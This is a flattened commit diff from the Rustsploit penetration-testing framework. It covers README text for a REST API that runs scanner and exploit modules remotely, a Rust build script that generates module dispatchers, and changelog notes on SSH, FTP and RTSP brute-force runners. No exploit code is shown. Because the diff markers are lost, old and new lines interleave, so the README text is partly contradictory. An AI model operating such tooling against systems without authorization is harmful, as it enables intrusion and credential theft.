Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
## API Server Mode
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
### Starting the API Server
```bash
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening enabled (auto-rotate API key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
# Custom port
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
```
### API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
### API Endpoints
All endpoints except `/health` require authentication via the `Authorization` header:
```bash
# Bearer token format
Authorization: Bearer your-api-key-here
# Or ApiKey format
Authorization: ApiKey your-api-key-here
```
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```bash
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```bash
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```bash
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`GET /api/status`** - Get API server status and statistics
```bash
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```bash
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```bash
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```bash
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### Security Features
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
#### Hardening Mode
When `--harden` is enabled:
- Tracks unique IP addresses accessing the API
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
#### Logging
All API activity is logged to:
- **Terminal:** Real-time console output with colored status messages
- **Log File:** `rustsploit_api.log` in the current working directory
Log entries include:
- API requests and responses
- Authentication failures and rate limiting events
- IP tracking and hardening actions
- Key rotation events
- Module execution results
### Example API Workflow
```bash
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Check health
curl http://localhost:8080/health
# 3. List available modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Run a port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View tracked IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
---
## Proxy Workflow
Rustsploit treats proxy lists as first-class citizens:
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
---
## How Modules Are Discovered
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>;
```
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
- File: `src/modules/exploits/sample_exploit.rs`
- Shell path: `exploits/sample_exploit`
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
---
## Contributing
Contributions are welcome! High-level suggestions:
Contributions welcome! See the **[Contributing Guide](docs/Contributing.md)** for the full process. In short:
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
4. Document usage patterns in module comments
5. Run `cargo fmt` and `cargo check` before opening a PR
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
3. Run `cargo fmt` and `cargo check` before opening a PR
---
@@ -394,8 +130,6 @@ Bug reports, feature requests, and module ideas are appreciated. Feel free to lo
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Wordlists:** Seclists + custom additions (`lists/` directory)
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
+442 -146
View File
@@ -1,118 +1,239 @@
use std::collections::HashSet;
use std::collections::{HashMap, HashSet};
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
use walkdir::WalkDir;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
/// Build script that generates module dispatchers for all categories found
/// under `src/modules/`. Categories are discovered dynamically — adding a new
/// subdirectory (e.g. `src/modules/payloads/`) is all that's needed.
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
let modules_root = Path::new("src/modules");
if !modules_root.exists() {
eprintln!("cargo:warning=src/modules/ directory not found");
return;
}
// Generate dispatchers for each module category
let categories = vec![
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
];
// Check which features are enabled
let features = Features::detect();
for (root, out_file, mod_prefix, category_name) in categories {
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
std::process::exit(1);
// Discover categories dynamically from subdirectories of src/modules/
let mut categories: Vec<String> = Vec::new();
let entries = match fs::read_dir(modules_root) {
Ok(e) => e,
Err(e) => {
eprintln!("cargo:warning=Failed to read src/modules/: {}", e);
return;
}
};
for entry in entries.flatten() {
let path = entry.path();
if path.is_dir() {
if let Some(name) = path.file_name().and_then(|n| n.to_str()) {
if !name.starts_with('.') {
// Skip categories that are entirely disabled
if features.should_skip_category(name) {
println!("cargo:warning=Skipping category '{}' (feature disabled)", name);
continue;
}
categories.push(name.to_string());
}
}
}
}
categories.sort();
// Tell Cargo to rerun if any category directory changes
for cat in &categories {
println!("cargo:rerun-if-changed=src/modules/{}", cat);
}
// Also rerun if features change
println!("cargo:rerun-if-env-changed=CARGO_FEATURE_BLUETOOTH");
// Compile regexes once, reuse across all categories.
let run_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.expect("hardcoded regex must compile");
let info_re = Regex::new(r"pub\s+fn\s+info\s*\(\s*\)\s*->\s*(?:crate::)?(?:module_info::)?ModuleInfo")
.expect("hardcoded regex must compile");
let check_re = Regex::new(r"pub\s+async\s+fn\s+check\s*\(\s*[^)]*:\s*&str\s*\)\s*->\s*(?:crate::)?(?:module_info::)?CheckResult")
.expect("hardcoded regex must compile");
// Generate a dispatcher for each category
let mut registry_entries: Vec<RegistryEntry> = Vec::new();
for cat in &categories {
let root = format!("src/modules/{}", cat);
let mod_prefix = format!("crate::modules::{}", cat);
let out_file = format!("{}_dispatch.rs", dispatch_name(cat));
let display_name = capitalize(cat);
match generate_dispatch(&root, &out_file, &mod_prefix, &display_name, &run_re, &info_re, &check_re, &features) {
Ok(_module_count) => {
registry_entries.push(RegistryEntry {
category: cat.clone(),
dispatch_name: dispatch_name(cat),
});
}
Err(e) => {
eprintln!("cargo:warning=Error generating {} dispatcher: {}", cat, e);
std::process::exit(1);
}
}
}
// Generate unified registry file
if let Err(e) = generate_registry(&registry_entries) {
eprintln!("cargo:warning=Error generating module registry: {}", e);
std::process::exit(1);
}
}
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
/// Feature detection and module filtering
struct Features {
bluetooth: bool,
}
impl Features {
fn detect() -> Self {
Self {
bluetooth: env::var("CARGO_FEATURE_BLUETOOTH").is_ok(),
}
}
/// Check if a category should be entirely skipped
fn should_skip_category(&self, category: &str) -> bool {
match category {
"bluetooth" => !self.bluetooth,
_ => false,
}
}
/// Check if a module path should be skipped (for feature-gated submodules)
fn should_skip_module(&self, module_path: &str) -> bool {
// If bluetooth feature is disabled, skip any module under bluetooth/
if !self.bluetooth && module_path.starts_with("bluetooth/") {
return true;
}
// Add more feature checks here as needed
// Example: if !self.some_feature && module_path.starts_with("some/path/")
false
}
}
struct RegistryEntry {
category: String,
dispatch_name: String,
}
/// Map category directory name to dispatch module name.
/// "exploits" → "exploit", "scanners" → "scanner", otherwise identity.
fn dispatch_name(category: &str) -> String {
match category {
"exploits" => "exploit".to_string(),
"scanners" => "scanner".to_string(),
other => other.to_string(),
}
}
fn capitalize(s: &str) -> String {
let mut c = s.chars();
match c.next() {
None => String::new(),
Some(f) => f.to_uppercase().collect::<String>() + c.as_str(),
}
}
/// Capabilities detected for each module file.
struct ModuleCapabilities {
has_info: bool,
has_check: bool,
}
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
run_re: &Regex,
info_re: &Regex,
check_re: &Regex,
features: &Features,
) -> Result<usize, Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR").map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
let root_path = Path::new(root);
if !root_path.exists() {
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
let mappings = find_modules(root_path, run_re, info_re, check_re, features)?;
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
// Sort for deterministic output
let mut sorted_mappings: Vec<_> = mappings.into_iter().collect();
sorted_mappings.sort_by(|a, b| a.0.cmp(&b.0));
// Detect duplicate short names (different full paths with same filename)
let mut short_names: HashMap<String, Vec<String>> = HashMap::new();
for (key, _, _) in &sorted_mappings {
let short = key.rsplit('/').next().unwrap_or(key).to_string();
short_names.entry(short).or_default().push(key.clone());
}
for (short, full_paths) in &short_names {
if full_paths.len() > 1 {
println!(
"cargo:warning=Duplicate short module name '{}' in {}: {:?}. \
Only the first match will be reachable via short name.",
short, root, full_paths
);
}
}
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
let mut file = File::create(&dest_path)?;
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(file, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
// Generate AVAILABLE_MODULES constant for runtime discovery
writeln!(file, "/// List of all available modules in this category.")?;
writeln!(file, "pub const AVAILABLE_MODULES: &[&str] = &[")?;
for (key, _, _) in &sorted_mappings {
writeln!(file, " \"{}\",", key)?;
}
writeln!(file, "];\n")?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
// === Run dispatcher ===
writeln!(file, "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
writeln!(file, " match module_name {{")?;
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
)?;
let mut emitted_shorts: HashSet<String> = HashSet::new();
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
for (key, mod_path, _caps) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
k = key, m = mod_code_path, p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
} else if emitted_shorts.insert(short_key.to_string()) {
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
short = short_key, full = key, m = mod_code_path, p = mod_prefix
)?;
} else {
writeln!(
file,
r#" "{full}" => {{ {p}::{m}::run(target).await? }},"#,
full = key, m = mod_code_path, p = mod_prefix
)?;
}
}
@@ -122,92 +243,267 @@ fn generate_dispatch(
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
writeln!(file, " }}\n Ok(())\n}}\n")?;
writeln!(file, " }}\n Ok(())\n}}")?;
// === Info dispatcher ===
writeln!(file, "pub fn info_dispatch(module_name: &str) -> Option<crate::module_info::ModuleInfo> {{")?;
writeln!(file, " match module_name {{")?;
let mut info_emitted_shorts: HashSet<String> = HashSet::new();
let mut info_count = 0;
for (key, mod_path, caps) in &sorted_mappings {
if !caps.has_info { continue; }
info_count += 1;
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
if short_key == *key {
writeln!(
file,
r#" "{k}" => Some({p}::{m}::info()),"#,
k = key, m = mod_code_path, p = mod_prefix
)?;
} else if info_emitted_shorts.insert(short_key.to_string()) {
writeln!(
file,
r#" "{short}" | "{full}" => Some({p}::{m}::info()),"#,
short = short_key, full = key, m = mod_code_path, p = mod_prefix
)?;
} else {
writeln!(
file,
r#" "{full}" => Some({p}::{m}::info()),"#,
full = key, m = mod_code_path, p = mod_prefix
)?;
}
}
writeln!(file, " _ => None,")?;
writeln!(file, " }}\n}}\n")?;
// === Check dispatcher ===
// Use _target prefix if no check modules to avoid unused variable warning
let check_has_any = sorted_mappings.iter().any(|(_, _, c)| c.has_check);
let target_param = if check_has_any { "target" } else { "_target" };
writeln!(file, "pub async fn check_dispatch(module_name: &str, {}: &str) -> Option<crate::module_info::CheckResult> {{", target_param)?;
writeln!(file, " match module_name {{")?;
let mut check_emitted_shorts: HashSet<String> = HashSet::new();
let mut check_count = 0;
for (key, mod_path, caps) in &sorted_mappings {
if !caps.has_check { continue; }
check_count += 1;
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
if short_key == *key {
writeln!(
file,
r#" "{k}" => Some({p}::{m}::check(target).await),"#,
k = key, m = mod_code_path, p = mod_prefix
)?;
} else if check_emitted_shorts.insert(short_key.to_string()) {
writeln!(
file,
r#" "{short}" | "{full}" => Some({p}::{m}::check(target).await),"#,
short = short_key, full = key, m = mod_code_path, p = mod_prefix
)?;
} else {
writeln!(
file,
r#" "{full}" => Some({p}::{m}::check(target).await),"#,
full = key, m = mod_code_path, p = mod_prefix
)?;
}
}
writeln!(file, " _ => None,")?;
writeln!(file, " }}\n}}\n")?;
// === Check availability (no target needed) ===
writeln!(file, "/// Check if a module has a check() function without needing a target.")?;
writeln!(file, "pub fn check_available(module_name: &str) -> bool {{")?;
writeln!(file, " match module_name {{")?;
let mut check_avail_shorts: HashSet<String> = HashSet::new();
for (key, _, caps) in &sorted_mappings {
if !caps.has_check { continue; }
let short_key = key.rsplit('/').next().unwrap_or(key);
if short_key == *key {
writeln!(file, r#" "{k}" => true,"#, k = key)?;
} else if check_avail_shorts.insert(short_key.to_string()) {
writeln!(file, r#" "{short}" | "{full}" => true,"#, short = short_key, full = key)?;
} else {
writeln!(file, r#" "{full}" => true,"#, full = key)?;
}
}
writeln!(file, " _ => false,")?;
writeln!(file, " }}\n}}")?;
let count = sorted_mappings.len();
if count == 0 {
println!("cargo:warning=No modules found in '{}' — generated empty dispatcher", root);
}
println!("cargo:warning=Generated {} with {} modules ({} info, {} check)", out_file, count, info_count, check_count);
Ok(count)
}
/// Generate a unified registry file that lists all categories and their modules.
/// This is included by `src/commands/mod.rs` to avoid hard-coding categories.
fn generate_registry(entries: &[RegistryEntry]) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")?;
let dest = Path::new(&out_dir).join("module_registry.rs");
let mut f = File::create(&dest)?;
writeln!(f, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
// Category list
writeln!(f, "/// All module categories discovered under src/modules/.")?;
writeln!(f, "pub const CATEGORIES: &[&str] = &[")?;
for e in entries {
writeln!(f, " \"{}\",", e.category)?;
}
writeln!(f, "];\n")?;
// Unified discover function
writeln!(f, "/// Aggregate all available modules across all categories.")?;
writeln!(f, "pub fn all_modules() -> Vec<String> {{")?;
writeln!(f, " let mut modules = Vec::new();")?;
for e in entries {
writeln!(
f,
" modules.extend(crate::commands::{}::AVAILABLE_MODULES.iter().map(|m| format!(\"{{}}/{{}}\", \"{}\", m)));",
e.dispatch_name, e.category
)?;
}
writeln!(f, " modules")?;
writeln!(f, "}}\n")?;
// Unified dispatch function
writeln!(f, "/// Dispatch a module run by category and module name.")?;
writeln!(f, "pub async fn dispatch_by_category(category: &str, module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
writeln!(f, " match category {{")?;
for e in entries {
writeln!(
f,
" \"{}\" => crate::commands::{}::dispatch(module_name, target).await,",
e.category, e.dispatch_name
)?;
}
writeln!(f, " _ => anyhow::bail!(\"Unknown module category '{{}}'\", category),")?;
writeln!(f, " }}")?;
writeln!(f, "}}\n")?;
// Unified info dispatch
writeln!(f, "/// Get module info by category and module name.")?;
writeln!(f, "pub fn info_by_category(category: &str, module_name: &str) -> Option<crate::module_info::ModuleInfo> {{")?;
writeln!(f, " match category {{")?;
for e in entries {
writeln!(
f,
" \"{}\" => crate::commands::{}::info_dispatch(module_name),",
e.category, e.dispatch_name
)?;
}
writeln!(f, " _ => None,")?;
writeln!(f, " }}")?;
writeln!(f, "}}\n")?;
// Unified check dispatch
writeln!(f, "/// Run vulnerability check by category and module name.")?;
writeln!(f, "pub async fn check_by_category(category: &str, module_name: &str, target: &str) -> Option<crate::module_info::CheckResult> {{")?;
writeln!(f, " match category {{")?;
for e in entries {
writeln!(
f,
" \"{}\" => crate::commands::{}::check_dispatch(module_name, target).await,",
e.category, e.dispatch_name
)?;
}
writeln!(f, " _ => None,")?;
writeln!(f, " }}")?;
writeln!(f, "}}\n")?;
// Check availability (no target needed)
writeln!(f, "/// Check if a module has a check() function by category and module name.")?;
writeln!(f, "pub fn check_available_by_category(category: &str, module_name: &str) -> bool {{")?;
writeln!(f, " match category {{")?;
for e in entries {
writeln!(
f,
" \"{}\" => crate::commands::{}::check_available(module_name),",
e.category, e.dispatch_name
)?;
}
writeln!(f, " _ => false,")?;
writeln!(f, " }}")?;
writeln!(f, "}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
}
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
type ModuleMapping = (String, String, ModuleCapabilities);
if !dir.is_dir() {
return Ok(());
}
/// Finds all valid modules recursively using WalkDir.
/// Returns (module_key, module_path, capabilities) tuples.
fn find_modules(
root: &Path,
run_re: &Regex,
info_re: &Regex,
check_re: &Regex,
features: &Features,
) -> Result<HashSet<ModuleMapping>, Box<dyn std::error::Error>> {
let mut mappings = HashSet::new();
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
for entry in entries {
for entry in WalkDir::new(root).follow_links(false).into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
let file_name = entry.file_name();
if path.is_file() && path.extension().map_or(false, |e| e == "rs") {
let file_stem = path.file_stem().and_then(|s| s.to_str()).unwrap_or("");
if file_stem == "mod" || file_stem == "lib" { continue; }
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
if let Ok(relative) = path.strip_prefix(root) {
let rel_str = relative.with_extension("").to_string_lossy().replace("\\", "/");
// Skip modules that are feature-gated out
if features.should_skip_module(&rel_str) {
println!("cargo:warning=Skipping module '{}' (feature disabled)", rel_str);
continue;
}
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
let mut content = String::new();
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
if !content.contains("fn run") { continue; }
if run_re.is_match(&content) {
let caps = ModuleCapabilities {
has_info: content.contains("fn info") && info_re.is_match(&content),
has_check: content.contains("fn check") && check_re.is_match(&content),
};
mappings.insert((rel_str.clone(), rel_str, caps));
}
}
}
}
}
Ok(())
Ok(mappings)
}
// Manual Hash/Eq implementations for ModuleCapabilities that only compare on the key
impl std::hash::Hash for ModuleCapabilities {
fn hash<H: std::hash::Hasher>(&self, _state: &mut H) {
// Intentionally empty — hashing is done on the tuple's first element
}
}
impl PartialEq for ModuleCapabilities {
fn eq(&self, _other: &Self) -> bool {
true // All capabilities are "equal" for set dedup purposes
}
}
impl Eq for ModuleCapabilities {}
-457
View File
@@ -1,457 +0,0 @@
Hardened rtsp_bruteforce_advanced by validating path, username, and password wordlists before spinning up tasks, and by falling back to a safe root path when a path list is empty to avoid runtime panics.
Added identical early-exit checks and trimming for the SSH brute-force runner so it fails fast when wordlists are empty instead of silently doing nothing.
Brought the FTP brute-force helper in line with the others by trimming entries, rejecting empty wordlists, and ensuring helper utilities only return meaningful credentials.
Proxy Improvements
Refined proxy loading to validate schemes/hosts/ports, capture parse errors, and expose optional connectivity testing via utils::load_proxies_from_file and utils::test_proxies, keeping only working entries when requested.
Enhanced shell commands: proxy_load now prompts for a path when omitted, reports skipped entries, offers a recommended “test proxies” prompt, and added a dedicated proxy_test command plus reusable prompt helpers.
Implemented interactive proxy-test workflow that gathers URL/timeouts/concurrency, filters failing proxies, and auto-disables proxy mode when none survive.
Shell UX Refresh
Reworked command parsing to support ergonomic aliases (help/h/?, modules/ls/m, find/f1, proxy_load/pl, etc.) and keep everything case-insensitive and whitespace tolerant.
Added a richer, colorized help palette that lists shortcuts and usage tips so “f1 ssh” style workflows are obvious.
Introduced helpers (split_command, resolve_command) to drive the new UX without changing existing behavior, plus guarded prompt utilities already in place.
README Refresh
Rebuilt the README into a professional GitHub-ready document with a TOC, feature highlights, module catalog summary, quick start commands, shell walkthrough (including the new shortcuts), CLI usage, proxy workflow, module discovery flow, and contributing/credits notes.
README Suite Updated
README.md already reflects the full feature set; no further changes needed.
docs/readme.md rewritten into a comprehensive developer guide covering architecture, module discovery, shell internals, proxy system, authoring practices, and roadmap items.
lists/readme.md expanded to document shipped wordlists, usage guidelines, and contribution notes so operators know how data files tie into modules.
Pingsweep.rs
improved and reworked
Added an API launch mode to RustSploit with the requested features.
Features implemented
API launch mode: --api flag to start the API server
API key authentication: --api-key flag (required when using --api)
Dynamic API key rotation: manual via /api/rotate-key endpoint and automatic when hardening triggers
Hardening mode: --harden flag enables IP-based protection
Auto-rotation: when unique IPs exceed the limit (default: 10), the API key auto-rotates
Notifications: alerts in terminal and log file (rustsploit_api.log in the same directory)
Interface selection: --interface flag (defaults to 0.0.0.0), supports IP/interface or full address with port
API endpoints
GET /health - Health check (no auth required)
GET /api/modules - List all available modules
POST /api/run - Run a module on a target
GET /api/status - Get API server status
POST /api/rotate-key - Manually rotate the API key
Usage examples
# Basic API server on 0.0.0.0:8080./rustsploit --api --api-key my-secret-key# With hardening enabled (auto-rotate on >10 unique IPs)./rustsploit --api --api-key my-secret-key --harden# Custom interface and IP limit./rustsploit --api --api-key my-secret-key --harden --interface 127.0.0.1 --ip-limit 5# Custom port./rustsploit --api --api-key my-secret-key --interface 0.0.0.0:9000
Security features
API key authentication on all protected endpoints
IP tracking and monitoring
Automatic key rotation when suspicious activity is detected
Logging to both terminal and file for audit trails
IP limit enforcement with configurable thresholds
All IpTracker fields are used:
ip: Used in logging, status endpoint, and the new /api/ips endpoint
first_seen: Used in logging to show when IP was first detected, and in both endpoints
last_seen: Used in status and /api/ips endpoints
request_count: Used in logging and both endpoints
New endpoint added: /api/ips - Returns all tracked IP addresses with full details including all fields
Enhanced get_status endpoint: Now includes detailed IP tracking information with all fields from each IpTracker
Enhanced track_ip method: Now logs detailed information using all fields, including duration calculations
Added serde feature to chrono: Enables DateTime<Utc> serialization
All routes properly wired: The new /api/ips endpoint is added to the protected routes
The code should compile without any dead code warnings. All fields are actively used in:
Logging operations
API responses
Status reporting
IP tracking calculations
Added authorization rate limiting with the following features:
Rate limiting logic:
Tracks failed authentication attempts per IP
Blocks IPs for 30 seconds after 3 failed attempts
Automatically resets the counter after the block period expires
Resets the counter on successful authentication
New AuthFailureTracker struct:
ip: IP address being tracked
failed_attempts: Number of failed attempts
first_failure: Timestamp of first failure
blocked_until: Timestamp when block expires (if blocked)
Enhanced auth middleware:
Checks rate limit before processing authentication
Records failures when invalid keys are provided
Resets counter on successful authentication
Returns 429 Too Many Requests when blocked
Logging:
Logs all rate limit events to terminal and log file
Shows remaining block time
Tracks duration since first failure
New API endpoint:
GET /api/auth-failures - Returns all IPs with authentication failures and their status
Enhanced existing endpoints:
/api/ips now includes auth failure information for each IP
Updated Files
1. README.md
Added API Server Mode to the table of contents
Added REST API Server to highlights
Added an API Server Mode section with:
Starting the API server (cargo commands)
API flags table
All endpoints with curl examples
Security features (rate limiting, hardening, logging)
Example workflow
2. docs/readme.md (Developer Guide)
Added API Server Architecture to the table of contents
Updated code layout to include api.rs
Added an API Server Architecture section with:
Architecture overview
State management details
Authentication middleware explanation
Rate limiting and hardening mode details
Key components with code examples
API endpoints list
Logging information
CLI usage examples
Documentation Highlights
The docs now include:
Cargo commands for starting the API server
All available flags (--api, --api-key, --harden, --interface, --ip-limit)
Complete endpoint documentation with curl examples
Security features explanation (rate limiting, hardening, logging)
Architecture details for developers
Example workflows
Improving build.rs with better error handling, short name support, sorting, and other enhancements:
build.rs
Removing the unused import:
build.rs
Improvements
Error handling
Replaced .unwrap() with Result types
Clear error messages with context
Validates directory existence before processing
Short name support
Generates match arms for both short names (e.g., port_scanner) and full paths (e.g., scanners/port_scanner)
Matches the pattern used in the generated dispatcher files
Deterministic output
Sorts mappings and directory entries for consistent builds
Easier to review generated code in version control
Deduplication
Uses HashSet to avoid duplicate module registrations
Documentation
Added doc comments explaining the script's purpose and behavior
Regex
More flexible pattern that handles different parameter names (e.g., target, _target)
Code organization
Uses a vector of tuples to iterate over categories, reducing duplication
More maintainable structure
Verbose mode
